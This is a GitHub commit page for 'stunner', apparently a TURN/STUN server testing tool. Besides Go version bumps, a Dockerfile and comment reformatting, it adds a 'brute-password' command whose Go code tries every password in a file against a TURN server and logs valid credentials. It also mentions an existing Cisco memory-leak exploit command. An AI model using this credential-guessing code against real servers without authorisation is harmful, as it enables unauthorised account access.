Skip to content

Commit

Permalink
Merge pull request #16 from firefart/dev
Browse files Browse the repository at this point in the history
Dev
  • Loading branch information
firefart authored Oct 8, 2022
2 parents 423b786 + b6f65d2 commit a72e9bd
Show file tree
Hide file tree
Showing 11 changed files with 192 additions and 21 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/go.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ jobs:
runs-on: ubuntu-latest
strategy:
matrix:
go: ["1.18"]
go: ["1.19"]
steps:
- name: Set up Go ${{ matrix.go }}
uses: actions/setup-go@v3
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/golangci-lint.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ jobs:

- uses: actions/setup-go@v3
with:
go-version: "^1.18"
go-version: "^1.19"

- name: golangci-lint
uses: golangci/golangci-lint-action@v3
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ jobs:
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: 1.18
go-version: 1.19
- name: Run GoReleaser
uses: goreleaser/goreleaser-action@v3
with:
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/update.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ jobs:
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: "^1.18"
go-version: "^1.19"

- name: update
run: |
Expand Down
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
stunner
*.sh
*.txt
*.tar.gz
release/
dist/
Expand Down
23 changes: 23 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
FROM golang:latest AS build-env
WORKDIR /src
ENV CGO_ENABLED=0
COPY go.mod /src/
RUN go mod download
COPY . .
RUN go build -a -o stunner -ldflags="-s -w" -gcflags="all=-trimpath=/src" -asmflags="all=-trimpath=/src"

FROM alpine:latest

RUN apk add --no-cache ca-certificates \
&& rm -rf /var/cache/*

RUN mkdir -p /app \
&& adduser -D stunner \
&& chown -R stunner:stunner /app

USER stunner
WORKDIR /app

COPY --from=build-env /src/stunner .

ENTRYPOINT [ "./stunner" ]
2 changes: 1 addition & 1 deletion go.mod
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
module github.com/firefart/stunner

go 1.18
go 1.19

require (
github.com/firefart/gosocks v0.0.0-20220509205115-be1ab07f31f5
Expand Down
105 changes: 105 additions & 0 deletions internal/cmd/bruteforce.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
package cmd

import (
"bufio"
"fmt"
"os"
"strings"
"time"

"github.com/firefart/stunner/internal"
"github.com/sirupsen/logrus"
)

type BruteforceOpts struct {
TurnServer string
Protocol string
Username string
Passfile string
UseTLS bool
Timeout time.Duration
Log *logrus.Logger
}

func (opts BruteforceOpts) Validate() error {
if opts.TurnServer == "" {
return fmt.Errorf("need a valid turnserver")
}
if !strings.Contains(opts.TurnServer, ":") {
return fmt.Errorf("turnserver needs a port")
}
if opts.Protocol != "tcp" && opts.Protocol != "udp" {
return fmt.Errorf("protocol needs to be either tcp or udp")
}
if opts.Username == "" {
return fmt.Errorf("please supply a username")
}
if opts.Passfile == "" {
return fmt.Errorf("please supply a password file")
}
if opts.Log == nil {
return fmt.Errorf("please supply a valid logger")
}
return nil
}

func BruteForce(opts BruteforceOpts) error {
if err := opts.Validate(); err != nil {
return err
}

pfile, err := os.Open(opts.Passfile)
if err != nil {
return fmt.Errorf("could not read password file: %w", err)
}
defer pfile.Close()

scanner := bufio.NewScanner(pfile)
for scanner.Scan() {
if err := testPassword(opts, scanner.Text()); err != nil {
return err
}
}

if err := scanner.Err(); err != nil {
return err
}
return nil
}

func testPassword(opts BruteforceOpts, password string) error {
remote, err := internal.Connect(opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
if err != nil {
return err
}

addressFamily := internal.AllocateProtocolIgnore
allocateRequest := internal.AllocateRequest(internal.RequestedTransportUDP, addressFamily)
allocateResponse, err := allocateRequest.SendAndReceive(opts.Log, remote, opts.Timeout)
if err != nil {
return fmt.Errorf("error on sending AllocateRequest: %w", err)
}
if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError {
return fmt.Errorf("MessageClass is not Error (should be not authenticated)")
}

realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value)
nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value)

allocateRequest = internal.AllocateRequestAuth(opts.Username, password, nonce, realm, internal.RequestedTransportUDP, addressFamily)
allocateResponse, err = allocateRequest.SendAndReceive(opts.Log, remote, opts.Timeout)
if err != nil {
return fmt.Errorf("error on sending AllocateRequest Auth: %w", err)
}
if allocateResponse.Header.MessageType.Class == internal.MsgTypeClassSuccess {
opts.Log.Infof("Found valid credentials: %s:%s", opts.Username, password)
return nil
}
// we got an error
errorCode := allocateResponse.GetAttribute(internal.AttrErrorCode).Value[4:]
if string(errorCode) != "Unauthorized" {
// get all other errors than auth errors
opts.Log.Errorf("Unknown error: %s", string(errorCode))
}
return nil
}
24 changes: 13 additions & 11 deletions internal/helpers_turn.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,15 +25,16 @@ func xor(content, key []byte) []byte {
}

// xorAddr implements the XOR required for the STUN and TURN protocol
// 0 1 2 3
// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// |x x x x x x x x| Family | X-Port |
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// | X-Address (Variable)
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//
// Figure 6: Format of XOR-MAPPED-ADDRESS Attribute
// 0 1 2 3
// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// |x x x x x x x x| Family | X-Port |
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
// | X-Address (Variable)
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
//
// Figure 6: Format of XOR-MAPPED-ADDRESS Attribute
func xorAddr(ip netip.Addr, port uint16, transactionID []byte) ([]byte, error) {
var family uint16
var key []byte
Expand Down Expand Up @@ -102,9 +103,10 @@ func ConvertXORAddr(input []byte, transactionID string) (string, uint16, error)
}

// SetupTurnConnection executes the following:
// Allocate Unauth (to get realm and nonce)
// Allocate Auth
// CreatePermission
//
// Allocate Unauth (to get realm and nonce)
// Allocate Auth
// CreatePermission
//
// it returns the connection, the realm, the nonce and an error
func SetupTurnConnection(logger DebugLogger, connectProtocol string, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (net.Conn, string, string, error) {
Expand Down
11 changes: 6 additions & 5 deletions internal/helpers_turntcp.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,12 @@ import (
)

// SetupTurnTCPConnection executes the following:
// Allocate Unauth (to get realm and nonce)
// Allocate Auth
// Connect
// Opens Data Connection
// ConnectionBind
//
// Allocate Unauth (to get realm and nonce)
// Allocate Auth
// Connect
// Opens Data Connection
// ConnectionBind
//
// it returns the controlConnection, the dataConnection and an error
func SetupTurnTCPConnection(logger DebugLogger, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (*net.TCPConn, *net.TCPConn, error) {
Expand Down
39 changes: 39 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -117,6 +117,45 @@ func main() {
})
},
},
{
Name: "brute-password",
Usage: "This command tries all passwords from a given file for a username via the TURN protocol.",
Description: "This command tries all passwords from a given file for a username via the TURN protocol (UDP)." +
"This can be useful when analysing a pcap where you can see the username but not the password." +
"Please note that an offline bruteforce is much more faster in this case.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS for connecting (false in most tests)"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 1 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "passfile", Aliases: []string{"p"}, Required: true, Usage: "passwordfile to use for bruteforce"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
passwordFile := c.String("passfile")
return cmd.BruteForce(cmd.BruteforceOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Passfile: passwordFile,
})
},
},
{
Name: "memoryleak",
Usage: "This command exploits a memory information leak in some cisco software",
Expand Down

0 comments on commit a72e9bd

Please sign in to comment.